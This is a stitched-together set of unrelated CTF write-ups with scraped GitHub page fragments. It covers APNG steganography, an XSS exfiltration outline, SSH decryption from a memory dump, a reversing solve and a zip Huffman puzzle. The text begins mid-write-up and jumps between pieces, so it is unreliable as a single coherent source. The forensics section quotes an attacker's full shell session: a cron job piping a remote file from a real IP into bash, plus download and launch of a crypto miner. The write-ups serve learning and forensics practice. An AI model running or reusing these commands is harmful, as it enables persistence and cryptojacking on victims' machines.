| byte | Name | Type | Description| -------- | -------- | -------- | --------| 0 | sequence_number | (unsigned int) | Sequence number of the animation chunk, starting from 0| 4 | width | (unsigned int) | Width of the following frame| 8 | height | (unsigned int) | Height of the following frame| 12 | x_offset | (unsigned int) | X position at which to render the following frame| 16 | y_offset | (unsigned int) | Y position at which to render the following frame| 20 | delay_num | (unsigned short)| Frame delay fraction numerator| 22 | delay_den | (unsigned short)| Frame delay fraction denominator| 24 | dispose_op | (byte) | Type of frame area disposal to be done after rendering this frame| 25 | blend_op | (byte) | Type of frame area rendering for this frame
-----
We have on bytes 20 and 22 the "Frame delay".Let's look at theses bytes inside the ugo.apng file using a hex reader.In order to have an easy reading we know that :* height = 00 00 0B 40* x_offset = 00 00 00 00* y_offset = 00 00 00 00
So by searching (with Ctrl+F) the bytes : 00 00 0B 40 00 00 00 00 00 00 00 00 we can easily get the bytes delay_num and delay_den.At first we see the delay_num is always equal to 00 5F but as we scroll we find out some bytes are modified.
-----
-----
We then get all the bytes of the delay_num information which are between 43 ("C" in ascii) and 7D ("}" in ascii) :
> 43 54 46 7B 73 75 62 6C 69 6D 69 6E 61 6C 5F 73 70 61 63 65 74 69 6D 65 5F 6D 65 73 73 61 67 65 73 7D
We transform theses bytes into ascii characters to get the second flag
> CTF{subliminal_spacetime_messages} |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>LIT-CTF-2021</span></span></span><span>/</span><span><span>pwn</span></span><span>/</span>printf<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>LIT-CTF-2021</span></span></span><span>/</span><span><span>pwn</span></span><span>/</span>printf<span>/</span></div>
<div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/LexMACS/LIT-CTF-2021/tree-commit/998a37dc3b4388f7c3b8b68477b6b39bdcec1c62/pwn/printf" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>compile.txt</span> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.txt</span> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>printf</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>printf.c</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
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</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>printf.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
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1. Serve payload to admin that makes second request to your server2. Proxy second request through to `admin.zone443.dev`, works because admin page certificate has SAN wildcard `*.zone443.dev`3. Exfil contents from second request, works because browser thinks it's same-origin |
# Introduction
We were given two files:
- capture.pcap, corresponding to a SSH conversation.- dump.mem, which is probably a memory dump file.
# First approach
## PCAP
Impossible to read as-it the capture.pcap file with any other tool or data. Wireshark show us that SSH communication is established with `SSH Version 2 (encryption:[email protected] mac:<implicit> compression:none)` and Key Exchange `method:curve25519-sha256` in the Key Exchange init packet.
## Memory dump
We will use Volatility to read the file `dump.mem`. We tried to identify automatically the image profile but Volatility fails.
```bash> sudo python /opt/volatility/vol.py -f dump.mem imageinfoVolatility Foundation Volatility Framework 2.6.1INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : No suggestion (Instantiated with no profile) AS Layer1 : LimeAddressSpace (Unnamed AS) AS Layer2 : FileAddressSpace (/home/seb/Documents/htb/ctf/compromised/dump.mem) PAE type : No PAE```
So we probably need to build a specific profile for this dump. Let's search for some pieces of information about the OS. We suppose first it is a Linux:
```bash> strings dump.mem | grep -i "GNU/Linux"elcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-142-generic x86_64)```
Ok, so it is a memory dump from Ubuntu 18.04.5 LTS with the kernel version 4.15.0-142-generic x86_64.To build a new Volatility profile :
1. Create a virtual machine based on Ubuntu 18.04 LTS (https://cdimage.ubuntu.com/releases/18.04/release/ubuntu-18.04.5-server-amd64.iso).2. After the installation and starting up, update the kernel to version 4.15.0-142-generic x86_64: `sudo apt install linux-image-4.15.0-142-generic` then reboot.3. Install the profile building tools: `sudo apt install dwarfdump build-essential libelf-dev zip`4. Create the profile:
```bash#!/bin/bashgit clone https://github.com/volatilityfoundation/volatility.gitcd volatility/tools/linux/ && makecd ../../../zip $(lsb_release -i -s)_$(uname -r)_profile.zip ./volatility/tools/linux/module.dwarf /boot/System.map-$(uname -r)rm -rf ./volatility```
6. A file `Ubuntu_4.15.0-142-generic_profile.zip` should be generated. Install it in the Volatility plugin profiles folder (Well ... Not always so easy because varying on the version, installation type, black magic, ... For me, the profile has to be installed in `/usr/local/lib/python2.7/dist-packages/volatility-2.6.1-py2.7.egg/volatility/plugins/overlays/linux/Ubuntu/x64/`).
After that, we should be able to do some investigation on the memory dump.
Check if the profile is available:
```bashsudo python /opt/volatility/vol.py --plugins=/usr/local/lib/python2.7/dist-packages/volatility-2.6.1-py2.7.egg/volatility/plugins --info
Profiles--------(...)LinuxUbuntu_4_15_0-142-generic_profilex64 - A Profile for Linux Ubuntu_4.15.0-142-generic_profile x64(...)```
Use the profile:
```bash> sudo python /opt/volatility/vol.py --plugins=/usr/local/lib/python2.7/dist-packages/volatility-2.6.1-py2.7.egg/volatility/plugins/ --profile=LinuxUbuntu_4_15_0-142-generic_profilex64 -f dump.mem linux_psauxVolatility Foundation Volatility Framework 2.6.1
Pid Uid Gid Arguments 1 0 0 /sbin/init maybe-ubiquity 2 0 0 [kthreadd] 3 0 0 [kworker/0:0] 4 0 0 [kworker/0:0H] 5 0 0 [kworker/u2:0] 6 0 0 [mm_percpu_wq] ```
First step done!
# Digging into memory
We suppose we have to decrypt the SSH conversation.But we have to know what we have to look for.
The Wireshark documentation about SSH (https://wiki.wireshark.org/SSH) tells us that there is no SSH dissector available and it is not possible ... "unless the shared secret (from the Diffie-Hellman key exchange) is extracted from the SSH server or client".
Ok, so we need to find and extract the Shared Secret from the server, so from the memory dump.
After some reading on Internet, we found this interesting paper: https://blog.fox-it.com/2020/11/11/decrypting-openssh-sessions-for-fun-and-profit/.Some artefact are stored in memory by OpenSSH and can be extracted.The author, Jelle Vergeer, wrote a Volatility plugin and a Network parser to get the keys and decrypt the SSH conversation.
So, if not already present, install the Volatility plugin from `https://github.com/fox-it/OpenSSH-Session-Key-Recovery/blob/main/volatility2/openssh_sessionkeys.py`, then run it on the memory dump (the plugin name depends on its filename on your system):
```bash> sudo python /opt/volatility/vol.py --plugins=/usr/local/lib/python2.7/dist-packages/volatility-2.6.1-py2.7.egg/volatility/plugins/ --profile=LinuxUbuntu_4_15_0-142-generic_profilex64 -f dump.mem linux_sshkeysVolatility Foundation Volatility Framework 2.6.1
/\____/\\ (_)/ OpenSSH Session Key Dumper \ X By Jelle Vergeer \ / \ \/Scanning for OpenSSH sshenc structures...
Name Pid PPid Address Name Key IV ------------------------------ -------- -------- ------------------ ------------------------------ -------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------sshd [sshd: developer@pts/0] 1692 1575 0x000055976d18cb40 [email protected] 893112f1ef2bf4567ca289545efeb1a20dd709ee18c0b5b83b2b85541bc93d1f 0b1148709466289120d7a241 sshd [sshd: developer@pts/0] 1692 1575 0x000055976d18ccc0 [email protected] 06baa1f1779207f120813e3986854cc3e2196fa82cc6d6ec756409ad86e8c94a 5865d3c75d5dc1f2e19e6406```
Excellent, so we got the secrets!
# SSH decryption and flag
So now, we can theoretically possible to decrypt the SSH conversation with these keys. We will use the tool https://github.com/fox-it/OpenSSH-Network-Parser.
After (a lot of) difficulties to install and run the tool, I manage to install and run it in a fresh Debian VM (Note for myself: next time I will just use an based-Debian Docker image for this ...).
`keys.json` file (*NB: with conversion from hex to dec addresses*):
```json{"task_name": "sshd", "sshenc_addr": 94108858764096, "cipher_name": "[email protected]", "key": "893112f1ef2bf4567ca289545efeb1a20dd709ee18c0b5b83b2b85541bc93d1f", "iv": "0b1148709466289120d7a241"}{"task_name": "sshd", "sshenc_addr": 94108858764480, "cipher_name": "[email protected]", "key": "06baa1f1779207f120813e3986854cc3e2196fa82cc6d6ec756409ad86e8c94a", "iv": "5865d3c75d5dc1f2e19e6406"}```
Then, run:
```bashmkdir /tmp/sshnetwork-parser -p capture.pcap --popt keyfile=keys.json --proto ssh -o /tmp/ssh/network-parser -p capture.pcap --popt keyfile=keys.json --proto ssh -o /tmp/ssh/ -vvvv```
The conversation will be stored in clear-text in files from folder /tmp/ssh.
```bashless /tmp/ssh/192.168.1.10/2021-07-07--13-56-06.txt
[User Auth Request]username: 'developer'service_name: 'ssh-connection'method_name: 'password'Password: HTB{w3ll_1_th0ught_
(...)
developer@ubuntuserver:~$export HISTFILE=/dev/null^Mps aux | grep -vw suppoie | awk '{if($3>40.0) print $2}' | while read procid^Mdo^Mkill -9 $procid^Mdone^Mrm -rf /dev/shm/jboss^Mps -fe|grep -w suppoie |grep -v grep^Mif [ $? -eq 0 ]^Mthen^Mpwd^Melse^Mcrontab -r || true && \^Mecho "* * * * * curl -s http://147.182.172.189/logo1.jpg | bash -s" >> /tmp/cron || true && \^Mcrontab /tmp/cron || true && \^Mrm -rf /tmp/cron || true && \^Mcurl -o /var/tmp/config.json http://147.182.172.189/1.json^Mcurl -o /var/tmp/suppoie http://147.182.172.189/rig^Mecho "bjBfMG4zX3cwdWxkX2YxbmRfbTMhISF9Cg" > /dev/null^Mchmod 777 /var/tmp/suppoie^Mcd /var/tmp^Mproc=`grep -c ^processor /proc/cpuinfo`^Mcores=$((($proc+1)/2))^Mnum=$(($cores*3))^M/sbin/sysctl -w vm.nr_hugepages=`$num`^Mnohup ./suppoie -c config.json -t `echo $cores` >/dev/null &^Mfi^Msleep 3^Mecho "running....."export HISTFILE=/dev/null```
The flag is in two parts:
- First part in clear-text: `HTB{w3ll_1_th0ught_`- Second part from the a base64 encoded string `bjBfMG4zX3cwdWxkX2YxbmRfbTMhISF9Cg`:
```bashprintf "bjBfMG4zX3cwdWxkX2YxbmRfbTMhISF9Cg" | base64 -dn0_0n3_w0uld_f1nd_m3!!!}```
Flag: `HTB{w3ll_1_th0ught_n0_0n3_w0uld_f1nd_m3!!!}` |
> I think this is my last story for this competition. (Didn't I only tell, like, three?) This one's a sing-along. Let's see how long we can keep it up!
> Author: micpap25
We're given the last ELF in the series: `story3`. When run it appears to just print the following over and over:
> I know a song that gets on everybody's nerves,Everybody's nerves, yes, on everybody's nerves,I know a song that gets on everybody's nerves,And this is how it goes.
There's a bunch of other functions which are not directly called. I got a chuckle out of some, one will print the beginning of the Bee Movie script (a callback to [Flare-On 6 challenge 10](https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/flareon7-challenge10-solution.pdf)), another prints an excerpt from https://mrt4ntr4.github.io/BCACTF-LargeData-Writeup/ which I found hilarious.
> I usually try to stay polite towards organizers because I know that making a CTF is hard. But there are some issues that need to be fixed. Most importantly, every single challenge is trivially easy. I don’t think that’s inherently terrible, although it makes the CTF less enjoyable. I think having a CTF where the goal is maxing quickly is defendable. But that means you can’t release problems midway through the competition, especially if they are just as easy. Doing that completely nullifying every previous challenge. You also need to check that your challenges work. Both three-step-program and bca-store, the challenges released today, were initially broken. By the time you fix your mistake, many people have solved the challenge. So you now reduce the entire competition to seeing how fast people can refresh and submit their solution to a fixed challenge. I think the best course of action is to get rid of the newly released challenges and to release many more future challenges.
Note: I didn't do the CTF last year so I don't know what it was like, but I really enjoyed this one.
One of the functions wasn't just printing junk, so it stood out to me. It was labelled `FUN_2302136` (I think the author set the names for the troll functions). The meat of it was this:
```c++ timer = time(0LL); time_obj = localtime(&timer;; tm_min = time_obj->tm_min;
for ( i = 0; i <= 33; ++i ) flag[i] = (to_decrypt[i] >> tm_min) - tm_min * i + 21;
return puts(flag);```
It takes many numbers as input, unjumbles their ordering, and then does a simple calculation based on the current time (minutes past the hour). One of the other functions gave the clue "the second minute" which turned out to not-be a troll.
```c++return puts("74 68 65 20 73 65 63 6f 6e 64 20 6d 69 6e 75 74 65")
// can be decoded in python with: ''.join([chr(int(x, 16)) for x in "74 68 65 20 73 65 63 6f 6e 64 20 6d 69 6e 75 74 65".split(' ')])```
This was my python script to perform the decoding.```pythona = [467, 520, 390, 452, 459, 426, 179, 517, 257, 351, 265, 447, 389, 538, 231, 575, 365, 682, 210, 440, 330, 389, 337, 510, 554, 322, 309, 415, 401, 323, 574, 298, 511, 397]
m= {} # the `-1` thing turned out to be the easiest way to convert the IDA outputm[21] = a[1 - 1]m[28] = a[2 - 1]m[7] = a[3 - 1]m[12] = a[4 - 1](...)m[23] = a[32 - 1]m[24] = a[33 - 1]m[10] = a[34 - 1]
"""for ( i = 0; i <= 33; ++i ) flag[i] = (m[i] >> tm_min) - tm_min * i + 21;"""
minute = 2res = [-1 for _ in range(len(m))]for k,v in m.items(): res[k] = (v >> minute) - minute * k + 21print(''.join(chr(c) for c in res))```
Flag: `bcactf{h1dd3n_c0d3_1s_h1dd3n_2c8d}` |
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>LIT-CTF-2021</span></span></span><span>/</span><span><span>pwn</span></span><span>/</span>lazy<span>/</span></div>
<div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/LexMACS/LIT-CTF-2021/tree-commit/998a37dc3b4388f7c3b8b68477b6b39bdcec1c62/pwn/lazy" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>compile.txt</span> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>lazy</span> </div>
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# DAVID AND THE TREE
[](https://shields.io/)[](https://shields.io/)[](https://shields.io/)</div>
## Prompt
> Sometimes, what's more important is not what you have, but what you're missing. >> [](https://storage.googleapis.com/gctf-2021-attachments-project/fa84c8f89b39190735e175dee84b6fd55cf333195c0c45badf1f058743b52ecb97f5cb0cc5f7d04ca296f86b4c652b524e9780c40d3bf38b76a92cb71159778d)
## Files
* [attachment.zip](attachment.zip) - Challenge attachment - challenge.zip - Challenge zip - 00.txt - Gadbsy Chapter I - ... - 25.txt - Gadsby Chapter XXVI* [compression_test.zip](compression_test.zip) - Rezipped Gadsby chapters - 00.txt - Gadbsy Chapter I - ... - 25.txt - Gadsby Chapter XXVI* [solve.py](solve.py) - Challenge solver* [visualize.py](visualize.py) - Huffman tree image generator* [flag.txt](flag.txt) - Flag
## Solution
### Where To Look
#### File Contents?Downloading and unzipping the attachment gives us `challenge.zip`, and unzipping that gives us 25 text files:
```$ unzip attachment.zipArchive: attachment.zip extracting: challenge.zip
$ unzip challenge.zipArchive: challenge.zip inflating: 00.txt inflating: 01.txt inflating: 02.txt inflating: 03.txt inflating: 04.txt inflating: 05.txt inflating: 06.txt inflating: 07.txt inflating: 08.txt inflating: 09.txt inflating: 10.txt inflating: 11.txt inflating: 12.txt inflating: 13.txt inflating: 14.txt inflating: 15.txt inflating: 16.txt inflating: 17.txt inflating: 18.txt inflating: 19.txt inflating: 20.txt inflating: 21.txt inflating: 22.txt inflating: 23.txt inflating: 24.txt inflating: 25.txt```
```$ head 00.txtI
IF YOUTH, THROUGHOUT ALL HISTORY, HAD HAD A CHAMPION TO STAND UP FORIT; TO SHOW A DOUBTING WORLD THAT A CHILD CAN THINK; AND, POSSIBLY,DO IT PRACTICALLY; YOU WOULDN'T CONSTANTLY RUN ACROSS FOLKS TODAYWHO CLAIM THAT "A CHILD DON'T KNOW ANYTHING." A CHILD'S BRAIN STARTSFUNCTIONING AT BIRTH; AND HAS, AMONGST ITS MANY INFANT CONVOLUTIONS,THOUSANDS OF DORMANT ATOMS, INTO WHICH GOD HAS PUT A MYSTIC POSSIBILITYFOR NOTICING AN ADULT'S ACT, AND FIGURING OUT ITS PURPORT.```
Google tells us that the first file is the opening chapter of [Gadsby](https://en.wikipedia.org/wiki/Gadsby_(novel)), a book famous for having no ([or very few](https://en.wikipedia.org/wiki/Gadsby_(novel)#cite_note-1)) instances of the letter 'E'. Only 26 of the 43 chapters in Gadsby are provided.
We can verify that the contents of the files are the same as the original text converted to uppercase with the following commands:
***Note**: This was run on macOS, so YMMV*
```bashcurl https://www.gutenberg.org/cache/epub/47342/pg47342.txt | # get Gadsby from Project Gutenbergtr -d '\r' | # remove carriage returns to match provided copysed -n '/^I$/,/^II$/p' | # extract chapter Ighead -n -5 | # remove newlines after chapter Itr a-z A-Z | # uppercase to match provided copydiff - 00.txt # compare with provided copy of chapter I```
If the output of `diff` is blank, the file contents are the same. This and every other chapter are identical once carriage returns are removed and everything is converted to uppercase. So the flag must be hidden somewhere else.
#### File Metadata?Maybe there's something hidden in the metadata. `exiftool` should tell us:
```$ exiftool 00.txtExifTool Version Number : 12.26File Name : 00.txtDirectory : .File Size : 24 KiBFile Modification Date/Time : 1980:01:01 00:00:00-05:00File Access Date/Time : 2021:07:24 14:29:24-04:00File Inode Change Date/Time : 2021:07:24 14:29:24-04:00File Permissions : -rw-------File Type : TXTFile Type Extension : txtMIME Type : text/plainMIME Encoding : us-asciiNewlines : Unix LFLine Count : 416Word Count : 4421```
Hmmm... the file modification date and time are strange. If the value is different in each file, it could be encoding some information.
```$ exiftool 01.txtExifTool Version Number : 12.26File Name : 01.txtDirectory : .File Size : 11 KiBFile Modification Date/Time : 1980:01:01 00:00:00-05:00File Access Date/Time : 2021:07:24 14:29:25-04:00File Inode Change Date/Time : 2021:07:24 14:29:24-04:00File Permissions : -rw-------File Type : TXTFile Type Extension : txtMIME Type : text/plainMIME Encoding : us-asciiNewlines : Unix LFLine Count : 192Word Count : 1964```
Nope, these are the same. [This Stack Overflow answer](https://stackoverflow.com/a/59974680/15117449) has some insight, and perhaps a hint:
> The culprit is the Python zipfile library. If you don't pass a second parameter to ZipInfo, it defaults to Jan 1, 1980: https://docs.python.org/3/library/zipfile.html#zipfile.ZipInfo
#### Challenge Zip!At this point `challenge.zip` is the only place left to look.
One of the many tools I used to look at the zipfile was binwalk, a utility that looks for files embedded in other files:```$ binwalk challenge.zip
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 Zip archive data, at least v2.0 to extract, compressed size: 15692, uncompressed size: 24616, name: 00.txt15728 0x3D70 Zip archive data, at least v2.0 to extract, compressed size: 10459, uncompressed size: 10937, name: 01.txt26223 0x666F Zip archive data, at least v2.0 to extract, compressed size: 9988, uncompressed size: 12157, name: 02.txt36247 0x8D97 Zip archive data, at least v2.0 to extract, compressed size: 5013, uncompressed size: 8096, name: 03.txt41296 0xA150 Zip archive data, at least v2.0 to extract, compressed size: 7895, uncompressed size: 10202, name: 04.txt49227 0xC04B Zip archive data, at least v2.0 to extract, compressed size: 4231, uncompressed size: 6178, name: 05.txt53494 0xD0F6 Zip archive data, at least v2.0 to extract, compressed size: 7167, uncompressed size: 9511, name: 06.txt60697 0xED19 Zip archive data, at least v2.0 to extract, compressed size: 3491, uncompressed size: 5833, name: 07.txt64224 0xFAE0 Zip archive data, at least v2.0 to extract, compressed size: 5941, uncompressed size: 6565, name: 08.txt70201 0x11239 Zip archive data, at least v2.0 to extract, compressed size: 2701, uncompressed size: 3695, name: 09.txt72938 0x11CEA Zip archive data, at least v2.0 to extract, compressed size: 6258, uncompressed size: 9301, name: 10.txt79232 0x13580 Zip archive data, at least v2.0 to extract, compressed size: 3813, uncompressed size: 5386, name: 11.txt83081 0x14489 Zip archive data, at least v2.0 to extract, compressed size: 9042, uncompressed size: 13016, name: 12.txt92159 0x167FF Zip archive data, at least v2.0 to extract, compressed size: 5174, uncompressed size: 7719, name: 13.txt97369 0x17C59 Zip archive data, at least v2.0 to extract, compressed size: 5330, uncompressed size: 8947, name: 14.txt102735 0x1914F Zip archive data, at least v2.0 to extract, compressed size: 3916, uncompressed size: 5701, name: 15.txt106687 0x1A0BF Zip archive data, at least v2.0 to extract, compressed size: 5771, uncompressed size: 7701, name: 16.txt112494 0x1B76E Zip archive data, at least v2.0 to extract, compressed size: 7661, uncompressed size: 12730, name: 17.txt120191 0x1D57F Zip archive data, at least v2.0 to extract, compressed size: 5872, uncompressed size: 6773, name: 18.txt126099 0x1EC93 Zip archive data, at least v2.0 to extract, compressed size: 4259, uncompressed size: 6001, name: 19.txt130394 0x1FD5A Zip archive data, at least v2.0 to extract, compressed size: 2627, uncompressed size: 3990, name: 20.txt133057 0x207C1 Zip archive data, at least v2.0 to extract, compressed size: 2658, uncompressed size: 3968, name: 21.txt135751 0x21247 Zip archive data, at least v2.0 to extract, compressed size: 2698, uncompressed size: 3655, name: 22.txt138485 0x21CF5 Zip archive data, at least v2.0 to extract, compressed size: 1677, uncompressed size: 2659, name: 23.txt140198 0x223A6 Zip archive data, at least v2.0 to extract, compressed size: 5812, uncompressed size: 7568, name: 24.txt146046 0x23A7E Zip archive data, at least v2.0 to extract, compressed size: 3564, uncompressed size: 5391, name: 25.txt150998 0x24DD6 End of Zip archive, footer length: 22```
No files out of the ordinary here, but the compressed/uncompressed size is interesting. I would expect that all uppercase English text would have a much higher compression rate than what's seen here. We can confirm this by zipping up the chapters and comparing:
```zip -rq compression_test.zip *.txt && binwalk compression_test.zip
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 Zip archive data, at least v2.0 to extract, compressed size: 10169, uncompressed size: 24616, name: 00.txt10233 0x27F9 Zip archive data, at least v2.0 to extract, compressed size: 4766, uncompressed size: 10937, name: 01.txt15063 0x3AD7 Zip archive data, at least v2.0 to extract, compressed size: 5358, uncompressed size: 12157, name: 02.txt20485 0x5005 Zip archive data, at least v2.0 to extract, compressed size: 3587, uncompressed size: 8096, name: 03.txt24136 0x5E48 Zip archive data, at least v2.0 to extract, compressed size: 4481, uncompressed size: 10202, name: 04.txt28681 0x7009 Zip archive data, at least v2.0 to extract, compressed size: 2801, uncompressed size: 6178, name: 05.txt31546 0x7B3A Zip archive data, at least v2.0 to extract, compressed size: 4285, uncompressed size: 9511, name: 06.txt35895 0x8C37 Zip archive data, at least v2.0 to extract, compressed size: 2653, uncompressed size: 5833, name: 07.txt38612 0x96D4 Zip archive data, at least v2.0 to extract, compressed size: 2953, uncompressed size: 6565, name: 08.txt41629 0xA29D Zip archive data, at least v2.0 to extract, compressed size: 1771, uncompressed size: 3695, name: 09.txt43464 0xA9C8 Zip archive data, at least v2.0 to extract, compressed size: 4158, uncompressed size: 9301, name: 10.txt47686 0xBA46 Zip archive data, at least v2.0 to extract, compressed size: 2531, uncompressed size: 5386, name: 11.txt50281 0xC469 Zip archive data, at least v2.0 to extract, compressed size: 5570, uncompressed size: 13016, name: 12.txt55915 0xDA6B Zip archive data, at least v2.0 to extract, compressed size: 3575, uncompressed size: 7719, name: 13.txt59554 0xE8A2 Zip archive data, at least v2.0 to extract, compressed size: 3929, uncompressed size: 8947, name: 14.txt63547 0xF83B Zip archive data, at least v2.0 to extract, compressed size: 2651, uncompressed size: 5701, name: 15.txt66262 0x102D6 Zip archive data, at least v2.0 to extract, compressed size: 3476, uncompressed size: 7701, name: 16.txt69802 0x110AA Zip archive data, at least v2.0 to extract, compressed size: 5624, uncompressed size: 12730, name: 17.txt75490 0x126E2 Zip archive data, at least v2.0 to extract, compressed size: 3063, uncompressed size: 6773, name: 18.txt78617 0x13319 Zip archive data, at least v2.0 to extract, compressed size: 2808, uncompressed size: 6001, name: 19.txt81489 0x13E51 Zip archive data, at least v2.0 to extract, compressed size: 1931, uncompressed size: 3990, name: 20.txt83484 0x1461C Zip archive data, at least v2.0 to extract, compressed size: 1933, uncompressed size: 3968, name: 21.txt85481 0x14DE9 Zip archive data, at least v2.0 to extract, compressed size: 1717, uncompressed size: 3655, name: 22.txt87262 0x154DE Zip archive data, at least v2.0 to extract, compressed size: 1294, uncompressed size: 2659, name: 23.txt88620 0x15A2C Zip archive data, at least v2.0 to extract, compressed size: 3402, uncompressed size: 7568, name: 24.txt92086 0x167B6 Zip archive data, at least v2.0 to extract, compressed size: 2436, uncompressed size: 5391, name: 25.txt96562 0x17932 End of Zip archive, footer length: 22```
As suspected, the compressed size of the files is much smaller than in `challenge.zip`! Maybe there's a different compression algorithm at play?
```$ exiftool challenge.zip | grep "Zip Compression"Zip Compression : Deflated
$ exiftool compression_test.zip | grep "Zip Compression"Zip Compression : Deflated```
Nope! Same. Time to read about how zip files work and how data might be hidden in them.
### David Huffman and his Tree[Wikipedia's Deflate](https://en.wikipedia.org/wiki/Deflate) page tells us about the two types of compression that Deflate uses:
> Deflate is a lossless data compression file format that uses a combination of LZSS and Huffman coding. It was designed by Phil Katz, for version 2 of his PKZIP archiving tool. Deflate was later specified in RFC 1951 (1996).
["An Explanation of the *Deflate* Algorithm"](https://zlib.net/feldspar.html) has a great explanation of how those two components work. LZ77 finds and compresses repeated sequences of data and Huffman coding is a clever way of reducing the number of bits needed to represent each symbol in a file. I chose to focus on Huffman coding because of this information in its [Wikipedia Page](https://en.wikipedia.org/wiki/Huffman_coding):
1. ***David*** Huffman developed the algorithm2. The algorithm uses a Huffman ***Tree*** to find the optimal prefix code
We usually think of files in terms of bytes. Files containing ASCII text like the ones in `challenge.zip` represent each character using one byte. One byte can represent 256 different symbols, but lots of files waste space by not using all 256 possibilities. We can see how many unique characters are in `00.txt` with this script:
```bash$ od -tx1 -An 00.txt | # print each byte of chapter I in hex, space-separated, with no address basetr ' ' '\n' | # replace space with newline sort -n | # sort numerically uniq | # remove duplicate lineswc -w # get word count (number of unique bytes in chapter I)
39```
